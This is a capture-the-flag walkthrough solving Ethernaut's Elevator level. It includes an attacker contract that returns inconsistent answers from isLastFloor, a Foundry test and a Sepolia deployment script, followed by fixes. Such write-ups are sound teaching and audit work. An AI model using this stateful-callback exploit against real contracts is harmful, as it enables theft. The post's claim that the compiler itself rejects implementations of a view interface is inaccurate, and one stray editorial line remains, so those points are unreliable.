Ethernaut Level 11 Walkthrough: Breaking View Assumptions in Solidity
In this article, we will analyze and solve Ethernaut Level 11: Elevator.
Reading time: ~10 min
This level looks like it should be safe by construction. Elevator calls an external contract twice inside the same function to check whether a floor is the last one, and it uses the second call's result to decide whether to flip a flag. The assumption baked into that design is that calling the same function twice, with the same input, returns the same answer. Nothing in Solidity enforces that assumption. The interface never says the function is view, so the compiler never checks it, and the caller has no way to know the function it just called can lie to it twice, differently, on purpose.
Beyond solving the challenge, we will cover:
- Why interfaces that omit
viewandpureare a silent trust boundary - How calling an attacker-controlled contract twice can be exploited with simple state
- Why "the compiler would catch that" is not true for external calls
- How to defend against untrusted callbacks with the checks-effects-interactions pattern and
viewenforcement
Challenge Description
The Elevator contract exposes a single function, goTo, that takes a floor number and asks the caller (treated as a Building) whether that floor is the last one. If the answer is false, it updates its own floor and top state using a second call to the same function.
The goal of the challenge is:
Reach the top of the elevator, meaning
topmust betrue.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Untrusted external call reused for two conflicting decisions |
| Root Cause: | The Building interface omits view, so the compiler never guarantees isLastFloor is stateless or consistent between calls |
| Impact: | Attacker-controlled contract can force Elevator into a state its own logic was meant to prevent |
| Severity: | Medium for this exercise, Critical in real protocols where the flipped state gates funds or privileges |
| Attack Type: | Inconsistent external call / stateful callback abuse |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Root Cause of the Vulnerability
Elevator treats msg.sender as if it were a well-behaved Building. It never deploys or controls that contract. Anyone can call goTo, and msg.sender becomes whatever contract the caller chose to write:
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
The Building interface declares isLastFloor without view:
function isLastFloor(uint256) external returns (bool);
That single missing keyword is the entire vulnerability. A view function is not allowed to modify state, and Solidity enforces that at compile time for functions declared view in the calling contract's own code. But Elevator never declares isLastFloor as view in the interface it calls through, so the compiler places no restriction on what the external contract does inside that function, including reading and writing its own storage between the two calls goTo makes.
Not introducing this with the same line every time:
The bug is not calling an external function. It's calling it twice and trusting the second answer to agree with the first, when the thing being called is code you don't control.
Understanding the View-Trust Gap
goTocallsbuilding.isLastFloor(_floor)once, to decide whether to enter theifblock at all.- If that first call returns
false, execution enters the block.flooris updated. goTocallsbuilding.isLastFloor(floor)a second time, with the same numeric argument, and uses this second result to settop.- Nothing forces the two calls to agree. An attacker's
isLastFloorcan returnfalseon the first invocation andtrueon the second, using nothing more than aboolflipped each time the function runs. topends uptrue, even though the attacker's contract answered the exact same question two different ways in two consecutive calls within the same transaction.
Elevator.goTo(1) called by ElevatorClimber
|
|-- call 1: isLastFloor(1) -> ElevatorClimber flips state, returns false
| Elevator: !false == true -> enters the if block
|
|-- floor = 1
|
|-- call 2: isLastFloor(1) -> ElevatorClimber flips state again, returns true
| Elevator: top = true
v
top == true, goal reached
This class of bug, an external call whose answer is implicitly trusted to be idempotent, shows up in real protocols as price oracles queried twice in one function, "is this NFT the correct owner" checks reused across a multi-step flow, or allowance/balance checks that assume a token contract can't change its own answer mid-call. The mechanism is always the same: no on-chain guarantee that a second call to the same function, with the same input, returns the same output.
Why Is Trusting an External bool Dangerous?
externalcalls hand control to arbitrary code. OnceElevatorcallsBuilding(msg.sender), execution moves into code theElevatorauthor never wrote and cannot inspect at runtime.viewis a promise the compiler can enforce, but only if it's declared. IfBuilding.isLastFloorhad been typedviewin the interfaceElevatorimports, the Solidity compiler would reject any implementation that writes to storage, closing this exact attack. Omittingviewon an interface used for a trust decision is a design mistake, not a style nit.- Calling the same external function twice and expecting agreement is a hidden assumption. If a function's result must stay consistent across calls in one transaction, cache the first result and reuse it instead of calling again.
- Reentrancy guards don't help here. There's no reentrant call into
Elevatoritself; the exploit lives entirely in what the external contract returns, which a reentrancy guard onElevatorwould not catch.
Attack Strategy
What we know:
goTocallsmsg.sender.isLastFloor(_floor)twice, and only the second call's result decidestop.- The first call must return
falseso execution reaches the second call at all. - The second call must return
truesotopgets set. - Nothing stops
msg.senderfrom being a contract we write ourselves, one that tracks its own state and answers differently on each call.
Our strategy:
- Deploy a contract that implements
isLastFloor, flipping an internalboolon every call. - Set the initial state so the first call returns
falseand the second returnstrue. - Call
Elevator.goTo(_floor)from our contract, somsg.senderinsideElevatoris our contract. topbecomestrueafter the second call, satisfying the level.
Attacker Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Elevator {
function goTo(uint256 _floor) external;
}
contract ElevatorClimber {
address public owner;
bool private toggle = true;
constructor() {
owner = msg.sender;
}
/// @notice Elevator.goTo() calls our isLastFloor() twice; the Building
/// interface omits `view`, so we flip state between calls: false on the
/// first call to pass the guard, true on the second to set top = true.
function isLastFloor(uint256) external returns (bool) {
toggle = !toggle;
return toggle;
}
function attack(address _target) external {
require(msg.sender == owner, "Not owner");
Elevator(_target).goTo(1);
}
}
toggle starts at true so the first flip (!true) returns false, and the second flip (!false) returns true. That two-call sequence is the entire exploit.
How the Exploit Works
First, we deploy ElevatorClimber. Its toggle state starts at true, but nothing has called isLastFloor yet.
Then, we call attack, which calls Elevator.goTo(1). Inside Elevator, msg.sender is now ElevatorClimber.
Next, Elevator makes its first call to isLastFloor(1). ElevatorClimber flips toggle from true to false and returns false. Elevator evaluates !false, which is true, and enters the if block.
floor is set to 1. Elevator immediately calls isLastFloor(floor) a second time, still within the same transaction. ElevatorClimber flips toggle again, from false to true, and returns true this time.
Finally, Elevator assigns top = true. The level's win condition, elevator.top(), is satisfied.
Validating the Exploit with Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Elevator} from "src/levels/Elevator.sol";
import {ElevatorFactory} from "src/levels/ElevatorFactory.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestElevator_L11 is Test, Utils {
Ethernaut ethernaut;
Elevator instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
ElevatorFactory factory = new ElevatorFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Elevator(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(instance.top());
assertFalse(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
function testSolve() public {
vm.startPrank(player);
ElevatorClimber climber = new ElevatorClimber();
climber.attack(address(instance));
assertTrue(instance.top());
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
source .env
forge test --match-path test/Solutions/Elevator_L11.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv
Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.
Solving the Level on Sepolia
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {console} from "forge-std/console.sol";
contract ElevatorScript is Script {
address public target;
ElevatorClimber public climber;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
climber = new ElevatorClimber();
climber.attack(target);
console.log("Climber contract:", address(climber));
vm.stopBroadcast();
}
}
Running the Script
source .env
forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC
Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:
forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
How to Prevent Inconsistent External Calls
The vulnerable pattern is calling an untrusted external function more than once and trusting the results to agree:
// Vulnerable: two calls to the same untrusted function, no consistency guarantee
interface Building {
function isLastFloor(uint256) external returns (bool);
}
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
The fix is to declare the interface as view when the logic assumes statelessness, so the compiler rejects any implementation that writes to storage, and to call the external function once and reuse the result instead of calling it again:
// Corrected: view enforced by the compiler, single call, result reused
interface Building {
function isLastFloor(uint256) external view returns (bool);
}
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
bool isLast = building.isLastFloor(_floor);
if (!isLast) {
floor = _floor;
top = isLast;
}
}
view alone does not stop a malicious contract from lying once, but it does stop it from lying differently twice in the same call, which is exactly the primitive this level exploits. For decisions that must be trustworthy regardless of who implements the callback, don't rely on an external contract's honesty at all: use a value the calling contract itself computed, or a whitelisted, audited implementation instead of an arbitrary msg.sender.
Lessons Learned
- An interface without
vieworpureis not just a style choice. It's the compiler declining to enforce a consistency guarantee your logic may be depending on. - Calling the same external function twice in one transaction and trusting the answers to match is an assumption, not a fact, whenever the callee is not code you control.
msg.senderis never guaranteed to be a "well-behaved" contract. Any code can call your function and pretend to be whatever interface you expect.- Reentrancy guards protect against reentrant calls into your own contract; they do nothing against a callee simply returning different values on separate calls.
- Auditors should flag every external call whose result feeds a security-relevant branch, especially when the same call happens more than once per transaction.
Conclusion
Ethernaut Level 11 shows how a single missing view keyword turns an interface into a trust hole. Elevator never suspected that a boolean, evaluated twice with the same input, could tell two different truths, because nothing in Solidity forced that function to behave. The bug looks small in isolation, but the pattern, an external answer trusted to be stable across calls, is exactly what breaks price oracle integrations, ownership checks, and multi-step approval flows in production protocols.
Any contract that calls out to msg.sender or another externally supplied address, and then uses the result to gate state changes, needs to treat that call as adversarial by default. This walkthrough covered:
- Why omitting
viewon an interface removes a compiler-enforced guarantee - How to exploit two inconsistent answers from the same external call
- Why reentrancy guards don't address this class of bug
- How to defend with
viewenforcement and single-call, reused results
If you are building or reviewing contracts that trust external calls to answer consistently, this is exactly the kind of assumption we stress-test in a professional audit.
Read more Ethernaut walkthroughs on the SECLAT blog.
Need a security audit for your smart contracts? Talk to SECLAT.